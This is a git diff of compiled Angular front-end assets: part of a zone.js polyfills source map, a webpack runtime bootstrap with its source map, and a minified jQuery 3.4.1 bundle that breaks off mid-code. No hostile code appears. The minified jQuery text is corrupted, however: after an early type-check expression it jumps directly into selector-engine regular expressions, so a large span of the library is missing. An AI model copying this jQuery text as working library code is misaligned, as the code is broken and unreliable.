blackListEvents from global\n var SYMBOL_BLACK_LISTED_EVENTS = Zone.__symbol__('BLACK_LISTED_EVENTS');\n if (global[SYMBOL_BLACK_LISTED_EVENTS]) {\n Zone[SYMBOL_BLACK_LISTED_EVENTS] = global[SYMBOL_BLACK_LISTED_EVENTS];\n }\n patchEvent(global, api);\n eventTargetPatch(global, api);\n // patch XMLHttpRequestEventTarget's addEventListener/removeEventListener\n var XMLHttpRequestEventTarget = global['XMLHttpRequestEventTarget'];\n if (XMLHttpRequestEventTarget && XMLHttpRequestEventTarget.prototype) {\n api.patchEventTarget(global, [XMLHttpRequestEventTarget.prototype]);\n }\n patchClass('MutationObserver');\n patchClass('WebKitMutationObserver');\n patchClass('IntersectionObserver');\n patchClass('FileReader');\n});\nZone.__load_patch('on_property', function (global, Zone, api) {\n propertyDescriptorPatch(api, global);\n propertyPatch();\n});\nZone.__load_patch('customElements', function (global, Zone, api) {\n registerElementPatch(global);\n patchCustomElements(global);\n});\nZone.__load_patch('canvas', function (global) {\n var HTMLCanvasElement = global['HTMLCanvasElement'];\n if (typeof HTMLCanvasElement !== 'undefined' && HTMLCanvasElement.prototype &&\n HTMLCanvasElement.prototype.toBlob) {\n patchMacroTask(HTMLCanvasElement.prototype, 'toBlob', function (self, args) {\n return { name: 'HTMLCanvasElement.toBlob', target: self, cbIdx: 0, args: args };\n });\n }\n});\nZone.__load_patch('XHR', function (global, Zone) {\n // Treat XMLHttpRequest as a macrotask.\n patchXHR(global);\n var XHR_TASK = zoneSymbol('xhrTask');\n var XHR_SYNC = zoneSymbol('xhrSync');\n var XHR_LISTENER = zoneSymbol('xhrListener');\n var XHR_SCHEDULED = zoneSymbol('xhrScheduled');\n var XHR_URL = zoneSymbol('xhrURL');\n var XHR_ERROR_BEFORE_SCHEDULED = zoneSymbol('xhrErrorBeforeScheduled');\n function patchXHR(window) {\n var XMLHttpRequestPrototype = XMLHttpRequest.prototype;\n function findPendingTask(target) {\n return target[XHR_TASK];\n }\n var oriAddListener = XMLHttpRequestPrototype[ZONE_SYMBOL_ADD_EVENT_LISTENER];\n var oriRemoveListener = XMLHttpRequestPrototype[ZONE_SYMBOL_REMOVE_EVENT_LISTENER];\n if (!oriAddListener) {\n var XMLHttpRequestEventTarget_1 = window['XMLHttpRequestEventTarget'];\n if (XMLHttpRequestEventTarget_1) {\n var XMLHttpRequestEventTargetPrototype = XMLHttpRequestEventTarget_1.prototype;\n oriAddListener = XMLHttpRequestEventTargetPrototype[ZONE_SYMBOL_ADD_EVENT_LISTENER];\n oriRemoveListener = XMLHttpRequestEventTargetPrototype[ZONE_SYMBOL_REMOVE_EVENT_LISTENER];\n }\n }\n var READY_STATE_CHANGE = 'readystatechange';\n var SCHEDULED = 'scheduled';\n function scheduleTask(task) {\n var data = task.data;\n var target = data.target;\n target[XHR_SCHEDULED] = false;\n target[XHR_ERROR_BEFORE_SCHEDULED] = false;\n // remove existing event listener\n var listener = target[XHR_LISTENER];\n if (!oriAddListener) {\n oriAddListener = target[ZONE_SYMBOL_ADD_EVENT_LISTENER];\n oriRemoveListener = target[ZONE_SYMBOL_REMOVE_EVENT_LISTENER];\n }\n if (listener) {\n oriRemoveListener.call(target, READY_STATE_CHANGE, listener);\n }\n var newListener = target[XHR_LISTENER] = function () {\n if (target.readyState === target.DONE) {\n // sometimes on some browsers XMLHttpRequest will fire onreadystatechange with\n // readyState=4 multiple times, so we need to check task state here\n if (!data.aborted && target[XHR_SCHEDULED] && task.state === SCHEDULED) {\n // check whether the xhr has registered onload listener\n // if that is the case, the task should invoke after all\n // onload listeners finish.\n var loadTasks = target['__zone_symbol__loadfalse'];\n if (loadTasks && loadTasks.length > 0) {\n var oriInvoke_1 = task.invoke;\n task.invoke = function () {\n // need to load the tasks again, because in other\n // load listener, they may remove themselves\n var loadTasks = target['__zone_symbol__loadfalse'];\n for (var i = 0; i < loadTasks.length; i++) {\n if (loadTasks[i] === task) {\n loadTasks.splice(i, 1);\n }\n }\n if (!data.aborted && task.state === SCHEDULED) {\n oriInvoke_1.call(task);\n }\n };\n loadTasks.push(task);\n }\n else {\n task.invoke();\n }\n }\n else if (!data.aborted && target[XHR_SCHEDULED] === false) {\n // error occurs when xhr.send()\n target[XHR_ERROR_BEFORE_SCHEDULED] = true;\n }\n }\n };\n oriAddListener.call(target, READY_STATE_CHANGE, newListener);\n var storedTask = target[XHR_TASK];\n if (!storedTask) {\n target[XHR_TASK] = task;\n }\n sendNative.apply(target, data.args);\n target[XHR_SCHEDULED] = true;\n return task;\n }\n function placeholderCallback() { }\n function clearTask(task) {\n var data = task.data;\n // Note - ideally, we would call data.target.removeEventListener here, but it's too late\n // to prevent it from firing. So instead, we store info for the event listener.\n data.aborted = true;\n return abortNative.apply(data.target, data.args);\n }\n var openNative = patchMethod(XMLHttpRequestPrototype, 'open', function () { return function (self, args) {\n self[XHR_SYNC] = args[2] == false;\n self[XHR_URL] = args[1];\n return openNative.apply(self, args);\n }; });\n var XMLHTTPREQUEST_SOURCE = 'XMLHttpRequest.send';\n var fetchTaskAborting = zoneSymbol('fetchTaskAborting');\n var fetchTaskScheduling = zoneSymbol('fetchTaskScheduling');\n var sendNative = patchMethod(XMLHttpRequestPrototype, 'send', function () { return function (self, args) {\n if (Zone.current[fetchTaskScheduling] === true) {\n // a fetch is scheduling, so we are using xhr to polyfill fetch\n // and because we already schedule macroTask for fetch, we should\n // not schedule a macroTask for xhr again\n return sendNative.apply(self, args);\n }\n if (self[XHR_SYNC]) {\n // if the XHR is sync there is no task to schedule, just execute the code.\n return sendNative.apply(self, args);\n }\n else {\n var options = { target: self, url: self[XHR_URL], isPeriodic: false, args: args, aborted: false };\n var task = scheduleMacroTaskWithCurrentZone(XMLHTTPREQUEST_SOURCE, placeholderCallback, options, scheduleTask, clearTask);\n if (self && self[XHR_ERROR_BEFORE_SCHEDULED] === true && !options.aborted &&\n task.state === SCHEDULED) {\n // xhr request throw error when send\n // we should invoke task instead of leaving a scheduled\n // pending macroTask\n task.invoke();\n }\n }\n }; });\n var abortNative = patchMethod(XMLHttpRequestPrototype, 'abort', function () { return function (self, args) {\n var task = findPendingTask(self);\n if (task && typeof task.type == 'string') {\n // If the XHR has already completed, do nothing.\n // If the XHR has already been aborted, do nothing.\n // Fix #569, call abort multiple times before done will cause\n // macroTask task count be negative number\n if (task.cancelFn == null || (task.data && task.data.aborted)) {\n return;\n }\n task.zone.cancelTask(task);\n }\n else if (Zone.current[fetchTaskAborting] === true) {\n // the abort is called from fetch polyfill, we need to call native abort of XHR.\n return abortNative.apply(self, args);\n }\n // Otherwise, we are trying to abort an XHR which has not yet been sent, so there is no\n // task\n // to cancel. Do nothing.\n }; });\n }\n});\nZone.__load_patch('geolocation', function (global) {\n /// GEO_LOCATION\n if (global['navigator'] && global['navigator'].geolocation) {\n patchPrototype(global['navigator'].geolocation, ['getCurrentPosition', 'watchPosition']);\n }\n});\nZone.__load_patch('PromiseRejectionEvent', function (global, Zone) {\n // handle unhandled promise rejection\n function findPromiseRejectionHandler(evtName) {\n return function (e) {\n var eventTasks = findEventTasks(global, evtName);\n eventTasks.forEach(function (eventTask) {\n // windows has added unhandledrejection event listener\n // trigger the event listener\n var PromiseRejectionEvent = global['PromiseRejectionEvent'];\n if (PromiseRejectionEvent) {\n var evt = new PromiseRejectionEvent(evtName, { promise: e.promise, reason: e.rejection });\n eventTask.invoke(evt);\n }\n });\n };\n }\n if (global['PromiseRejectionEvent']) {\n Zone[zoneSymbol('unhandledPromiseRejectionHandler')] =\n findPromiseRejectionHandler('unhandledrejection');\n Zone[zoneSymbol('rejectionHandledHandler')] =\n findPromiseRejectionHandler('rejectionhandled');\n }\n});\n\n/**\n * @license\n * Copyright Google Inc. All Rights Reserved.\n *\n * Use of this source code is governed by an MIT-style license that can be\n * found in the LICENSE file at https://angular.io/license\n */\n\n})));\n","/**\n * This file includes polyfills needed by Angular and is loaded before the app.\n * You can add your own extra polyfills to this file.\n *\n * This file is divided into 2 sections:\n * 1. Browser polyfills. These are applied before loading ZoneJS and are sorted by browsers.\n * 2. Application imports. Files imported after ZoneJS that should be loaded before your main\n * file.\n *\n * The current setup is for so-called \"evergreen\" browsers; the last versions of browsers that\n * automatically update themselves. This includes Safari >= 10, Chrome >= 55 (including Opera),\n * Edge >= 13 on the desktop, and iOS 10 and Chrome on mobile.\n *\n * Learn more in https://angular.io/guide/browser-support\n */\n\n/***************************************************************************************************\n * BROWSER POLYFILLS\n */\n\n/** IE9, IE10, IE11, and Chrome <55 requires all of the following polyfills.\n * This also includes Android Emulators with older versions of Chrome and Google Search/Googlebot\n */\n\n// import 'core-js/es6/symbol';\n// import 'core-js/es6/object';\n// import 'core-js/es6/function';\n// import 'core-js/es6/parse-int';\n// import 'core-js/es6/parse-float';\n// import 'core-js/es6/number';\n// import 'core-js/es6/math';\n// import 'core-js/es6/string';\n// import 'core-js/es6/date';\n// import 'core-js/es6/array';\n// import 'core-js/es6/regexp';\n// import 'core-js/es6/map';\n// import 'core-js/es6/weak-map';\n// import 'core-js/es6/set';\n\n/** IE10 and IE11 requires the following for NgClass support on SVG elements */\n// import 'classlist.js'; // Run `npm install --save classlist.js`.\n\n/** IE10 and IE11 requires the following for the Reflect API. */\n// import 'core-js/es6/reflect';\n\n/**\n * Web Animations `@angular/platform-browser/animations`\n * Only required if AnimationBuilder is used within the application and using IE/Edge or Safari.\n * Standard animation support in Angular DOES NOT require any polyfills (as of Angular 6.0).\n */\n// import 'web-animations-js'; // Run `npm install --save web-animations-js`.\n\n/**\n * By default, zone.js will patch all possible macroTask and DomEvents\n * user can disable parts of macroTask/DomEvents patch by setting following flags\n * because those flags need to be set before `zone.js` being loaded, and webpack\n * will put import in the top of bundle, so user need to create a separate file\n * in this directory (for example: zone-flags.ts), and put the following flags\n * into that file, and then add the following code before importing zone.js.\n * import './zone-flags.ts';\n *\n * The flags allowed in zone-flags.ts are listed here.\n *\n * The following flags will work for all browsers.\n *\n * (window as any).__Zone_disable_requestAnimationFrame = true; // disable patch requestAnimationFrame\n * (window as any).__Zone_disable_on_property = true; // disable patch onProperty such as onclick\n * (window as any).__zone_symbol__BLACK_LISTED_EVENTS = ['scroll', 'mousemove']; // disable patch specified eventNames\n *\n * in IE/Edge developer tools, the addEventListener will also be wrapped by zone.js\n * with the following flag, it will bypass `zone.js` patch for IE/Edge\n *\n * (window as any).__Zone_enable_cross_context_check = true;\n *\n */\n\n/***************************************************************************************************\n * Zone JS is required by default for Angular itself.\n */\nimport 'zone.js/dist/zone'; // Included with Angular CLI.\n\n\n/***************************************************************************************************\n * APPLICATION IMPORTS\n */\n"],"sourceRoot":""}
\ No newline at end of file
diff --git a/modules/ui/ui/runtime.js b/modules/ui/ui/runtime.js
new file mode 100644
index 00000000..fd2c03c8
--- /dev/null
+++ b/modules/ui/ui/runtime.js
@@ -0,0 +1,154 @@
+/******/ (function(modules) { // webpackBootstrap
+/******/ // install a JSONP callback for chunk loading
+/******/ function webpackJsonpCallback(data) {
+/******/ var chunkIds = data[0];
+/******/ var moreModules = data[1];
+/******/ var executeModules = data[2];
+/******/
+/******/ // add "moreModules" to the modules object,
+/******/ // then flag all "chunkIds" as loaded and fire callback
+/******/ var moduleId, chunkId, i = 0, resolves = [];
+/******/ for(;i < chunkIds.length; i++) {
+/******/ chunkId = chunkIds[i];
+/******/ if(installedChunks[chunkId]) {
+/******/ resolves.push(installedChunks[chunkId][0]);
+/******/ }
+/******/ installedChunks[chunkId] = 0;
+/******/ }
+/******/ for(moduleId in moreModules) {
+/******/ if(Object.prototype.hasOwnProperty.call(moreModules, moduleId)) {
+/******/ modules[moduleId] = moreModules[moduleId];
+/******/ }
+/******/ }
+/******/ if(parentJsonpFunction) parentJsonpFunction(data);
+/******/
+/******/ while(resolves.length) {
+/******/ resolves.shift()();
+/******/ }
+/******/
+/******/ // add entry modules from loaded chunk to deferred list
+/******/ deferredModules.push.apply(deferredModules, executeModules || []);
+/******/
+/******/ // run deferred modules when all chunks ready
+/******/ return checkDeferredModules();
+/******/ };
+/******/ function checkDeferredModules() {
+/******/ var result;
+/******/ for(var i = 0; i < deferredModules.length; i++) {
+/******/ var deferredModule = deferredModules[i];
+/******/ var fulfilled = true;
+/******/ for(var j = 1; j < deferredModule.length; j++) {
+/******/ var depId = deferredModule[j];
+/******/ if(installedChunks[depId] !== 0) fulfilled = false;
+/******/ }
+/******/ if(fulfilled) {
+/******/ deferredModules.splice(i--, 1);
+/******/ result = __webpack_require__(__webpack_require__.s = deferredModule[0]);
+/******/ }
+/******/ }
+/******/ return result;
+/******/ }
+/******/
+/******/ // The module cache
+/******/ var installedModules = {};
+/******/
+/******/ // object to store loaded and loading chunks
+/******/ // undefined = chunk not loaded, null = chunk preloaded/prefetched
+/******/ // Promise = chunk loading, 0 = chunk loaded
+/******/ var installedChunks = {
+/******/ "runtime": 0
+/******/ };
+/******/
+/******/ var deferredModules = [];
+/******/
+/******/ // The require function
+/******/ function __webpack_require__(moduleId) {
+/******/
+/******/ // Check if module is in cache
+/******/ if(installedModules[moduleId]) {
+/******/ return installedModules[moduleId].exports;
+/******/ }
+/******/ // Create a new module (and put it into the cache)
+/******/ var module = installedModules[moduleId] = {
+/******/ i: moduleId,
+/******/ l: false,
+/******/ exports: {}
+/******/ };
+/******/
+/******/ // Execute the module function
+/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
+/******/
+/******/ // Flag the module as loaded
+/******/ module.l = true;
+/******/
+/******/ // Return the exports of the module
+/******/ return module.exports;
+/******/ }
+/******/
+/******/
+/******/ // expose the modules object (__webpack_modules__)
+/******/ __webpack_require__.m = modules;
+/******/
+/******/ // expose the module cache
+/******/ __webpack_require__.c = installedModules;
+/******/
+/******/ // define getter function for harmony exports
+/******/ __webpack_require__.d = function(exports, name, getter) {
+/******/ if(!__webpack_require__.o(exports, name)) {
+/******/ Object.defineProperty(exports, name, { enumerable: true, get: getter });
+/******/ }
+/******/ };
+/******/
+/******/ // define __esModule on exports
+/******/ __webpack_require__.r = function(exports) {
+/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
+/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
+/******/ }
+/******/ Object.defineProperty(exports, '__esModule', { value: true });
+/******/ };
+/******/
+/******/ // create a fake namespace object
+/******/ // mode & 1: value is a module id, require it
+/******/ // mode & 2: merge all properties of value into the ns
+/******/ // mode & 4: return value when already ns object
+/******/ // mode & 8|1: behave like require
+/******/ __webpack_require__.t = function(value, mode) {
+/******/ if(mode & 1) value = __webpack_require__(value);
+/******/ if(mode & 8) return value;
+/******/ if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
+/******/ var ns = Object.create(null);
+/******/ __webpack_require__.r(ns);
+/******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value });
+/******/ if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
+/******/ return ns;
+/******/ };
+/******/
+/******/ // getDefaultExport function for compatibility with non-harmony modules
+/******/ __webpack_require__.n = function(module) {
+/******/ var getter = module && module.__esModule ?
+/******/ function getDefault() { return module['default']; } :
+/******/ function getModuleExports() { return module; };
+/******/ __webpack_require__.d(getter, 'a', getter);
+/******/ return getter;
+/******/ };
+/******/
+/******/ // Object.prototype.hasOwnProperty.call
+/******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
+/******/
+/******/ // __webpack_public_path__
+/******/ __webpack_require__.p = "";
+/******/
+/******/ var jsonpArray = window["webpackJsonp"] = window["webpackJsonp"] || [];
+/******/ var oldJsonpFunction = jsonpArray.push.bind(jsonpArray);
+/******/ jsonpArray.push = webpackJsonpCallback;
+/******/ jsonpArray = jsonpArray.slice();
+/******/ for(var i = 0; i < jsonpArray.length; i++) webpackJsonpCallback(jsonpArray[i]);
+/******/ var parentJsonpFunction = oldJsonpFunction;
+/******/
+/******/
+/******/ // run deferred modules from other chunks
+/******/ checkDeferredModules();
+/******/ })
+/************************************************************************/
+/******/ ([]);
+//# sourceMappingURL=runtime.js.map
\ No newline at end of file
diff --git a/modules/ui/ui/runtime.js.map b/modules/ui/ui/runtime.js.map
new file mode 100644
index 00000000..c9491c19
--- /dev/null
+++ b/modules/ui/ui/runtime.js.map
@@ -0,0 +1 @@
+{"version":3,"sources":["webpack:///webpack/bootstrap"],"names":[],"mappings":";AAAA;AACA;AACA;AACA;AACA;;AAEA;AACA;AACA;AACA,gBAAQ,oBAAoB;AAC5B;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;;AAEA;AACA;AACA;;AAEA;AACA;;AAEA;AACA;AACA;AACA;AACA;AACA,yBAAiB,4BAA4B;AAC7C;AACA;AACA,0BAAkB,2BAA2B;AAC7C;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;;AAEA;AACA;;AAEA;AACA;AACA;AACA;AACA;AACA;;AAEA;;AAEA;AACA;;AAEA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;;AAEA;AACA;;AAEA;AACA;;AAEA;AACA;AACA;;;AAGA;AACA;;AAEA;AACA;;AAEA;AACA;AACA;AACA,kDAA0C,gCAAgC;AAC1E;AACA;;AAEA;AACA;AACA;AACA,gEAAwD,kBAAkB;AAC1E;AACA,yDAAiD,cAAc;AAC/D;;AAEA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA,iDAAyC,iCAAiC;AAC1E,wHAAgH,mBAAmB,EAAE;AACrI;AACA;;AAEA;AACA;AACA;AACA,mCAA2B,0BAA0B,EAAE;AACvD,yCAAiC,eAAe;AAChD;AACA;AACA;;AAEA;AACA,8DAAsD,+DAA+D;;AAErH;AACA;;AAEA;AACA;AACA;AACA;AACA,wBAAgB,uBAAuB;AACvC;;;AAGA;AACA","file":"runtime.js","sourcesContent":[" \t// install a JSONP callback for chunk loading\n \tfunction webpackJsonpCallback(data) {\n \t\tvar chunkIds = data[0];\n \t\tvar moreModules = data[1];\n \t\tvar executeModules = data[2];\n\n \t\t// add \"moreModules\" to the modules object,\n \t\t// then flag all \"chunkIds\" as loaded and fire callback\n \t\tvar moduleId, chunkId, i = 0, resolves = [];\n \t\tfor(;i < chunkIds.length; i++) {\n \t\t\tchunkId = chunkIds[i];\n \t\t\tif(installedChunks[chunkId]) {\n \t\t\t\tresolves.push(installedChunks[chunkId][0]);\n \t\t\t}\n \t\t\tinstalledChunks[chunkId] = 0;\n \t\t}\n \t\tfor(moduleId in moreModules) {\n \t\t\tif(Object.prototype.hasOwnProperty.call(moreModules, moduleId)) {\n \t\t\t\tmodules[moduleId] = moreModules[moduleId];\n \t\t\t}\n \t\t}\n \t\tif(parentJsonpFunction) parentJsonpFunction(data);\n\n \t\twhile(resolves.length) {\n \t\t\tresolves.shift()();\n \t\t}\n\n \t\t// add entry modules from loaded chunk to deferred list\n \t\tdeferredModules.push.apply(deferredModules, executeModules || []);\n\n \t\t// run deferred modules when all chunks ready\n \t\treturn checkDeferredModules();\n \t};\n \tfunction checkDeferredModules() {\n \t\tvar result;\n \t\tfor(var i = 0; i < deferredModules.length; i++) {\n \t\t\tvar deferredModule = deferredModules[i];\n \t\t\tvar fulfilled = true;\n \t\t\tfor(var j = 1; j < deferredModule.length; j++) {\n \t\t\t\tvar depId = deferredModule[j];\n \t\t\t\tif(installedChunks[depId] !== 0) fulfilled = false;\n \t\t\t}\n \t\t\tif(fulfilled) {\n \t\t\t\tdeferredModules.splice(i--, 1);\n \t\t\t\tresult = __webpack_require__(__webpack_require__.s = deferredModule[0]);\n \t\t\t}\n \t\t}\n \t\treturn result;\n \t}\n\n \t// The module cache\n \tvar installedModules = {};\n\n \t// object to store loaded and loading chunks\n \t// undefined = chunk not loaded, null = chunk preloaded/prefetched\n \t// Promise = chunk loading, 0 = chunk loaded\n \tvar installedChunks = {\n \t\t\"runtime\": 0\n \t};\n\n \tvar deferredModules = [];\n\n \t// The require function\n \tfunction __webpack_require__(moduleId) {\n\n \t\t// Check if module is in cache\n \t\tif(installedModules[moduleId]) {\n \t\t\treturn installedModules[moduleId].exports;\n \t\t}\n \t\t// Create a new module (and put it into the cache)\n \t\tvar module = installedModules[moduleId] = {\n \t\t\ti: moduleId,\n \t\t\tl: false,\n \t\t\texports: {}\n \t\t};\n\n \t\t// Execute the module function\n \t\tmodules[moduleId].call(module.exports, module, module.exports, __webpack_require__);\n\n \t\t// Flag the module as loaded\n \t\tmodule.l = true;\n\n \t\t// Return the exports of the module\n \t\treturn module.exports;\n \t}\n\n\n \t// expose the modules object (__webpack_modules__)\n \t__webpack_require__.m = modules;\n\n \t// expose the module cache\n \t__webpack_require__.c = installedModules;\n\n \t// define getter function for harmony exports\n \t__webpack_require__.d = function(exports, name, getter) {\n \t\tif(!__webpack_require__.o(exports, name)) {\n \t\t\tObject.defineProperty(exports, name, { enumerable: true, get: getter });\n \t\t}\n \t};\n\n \t// define __esModule on exports\n \t__webpack_require__.r = function(exports) {\n \t\tif(typeof Symbol !== 'undefined' && Symbol.toStringTag) {\n \t\t\tObject.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });\n \t\t}\n \t\tObject.defineProperty(exports, '__esModule', { value: true });\n \t};\n\n \t// create a fake namespace object\n \t// mode & 1: value is a module id, require it\n \t// mode & 2: merge all properties of value into the ns\n \t// mode & 4: return value when already ns object\n \t// mode & 8|1: behave like require\n \t__webpack_require__.t = function(value, mode) {\n \t\tif(mode & 1) value = __webpack_require__(value);\n \t\tif(mode & 8) return value;\n \t\tif((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;\n \t\tvar ns = Object.create(null);\n \t\t__webpack_require__.r(ns);\n \t\tObject.defineProperty(ns, 'default', { enumerable: true, value: value });\n \t\tif(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));\n \t\treturn ns;\n \t};\n\n \t// getDefaultExport function for compatibility with non-harmony modules\n \t__webpack_require__.n = function(module) {\n \t\tvar getter = module && module.__esModule ?\n \t\t\tfunction getDefault() { return module['default']; } :\n \t\t\tfunction getModuleExports() { return module; };\n \t\t__webpack_require__.d(getter, 'a', getter);\n \t\treturn getter;\n \t};\n\n \t// Object.prototype.hasOwnProperty.call\n \t__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };\n\n \t// __webpack_public_path__\n \t__webpack_require__.p = \"\";\n\n \tvar jsonpArray = window[\"webpackJsonp\"] = window[\"webpackJsonp\"] || [];\n \tvar oldJsonpFunction = jsonpArray.push.bind(jsonpArray);\n \tjsonpArray.push = webpackJsonpCallback;\n \tjsonpArray = jsonpArray.slice();\n \tfor(var i = 0; i < jsonpArray.length; i++) webpackJsonpCallback(jsonpArray[i]);\n \tvar parentJsonpFunction = oldJsonpFunction;\n\n\n \t// run deferred modules from other chunks\n \tcheckDeferredModules();\n"],"sourceRoot":""}
\ No newline at end of file
diff --git a/modules/ui/ui/scripts.js b/modules/ui/ui/scripts.js
new file mode 100644
index 00000000..087ccd5d
--- /dev/null
+++ b/modules/ui/ui/scripts.js
@@ -0,0 +1,1086 @@
+/*! jQuery v3.4.1 | (c) JS Foundation and other contributors | jquery.org/license */
+!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.4.1",k=function(e,t){return new k.fn.init(e,t)},p=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;function d(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+$),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ne=function(e,t,n){var r="0x"+t-65536;return r!=r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(m.childNodes),m.childNodes),t[m.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&((e?e.ownerDocument||e:m)!==C&&T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!A[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&U.test(t)){(s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=k),o=(l=h(t)).length;while(o--)l[o]="#"+s+" "+xe(l[o]);c=l.join(","),f=ee.test(t)&&ye(e.parentNode)||e}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){A(t,!0)}finally{s===k&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[k]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:m;return r!==C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),m!==C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=k,!C.getElementsByName||!C.getElementsByName(k).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return 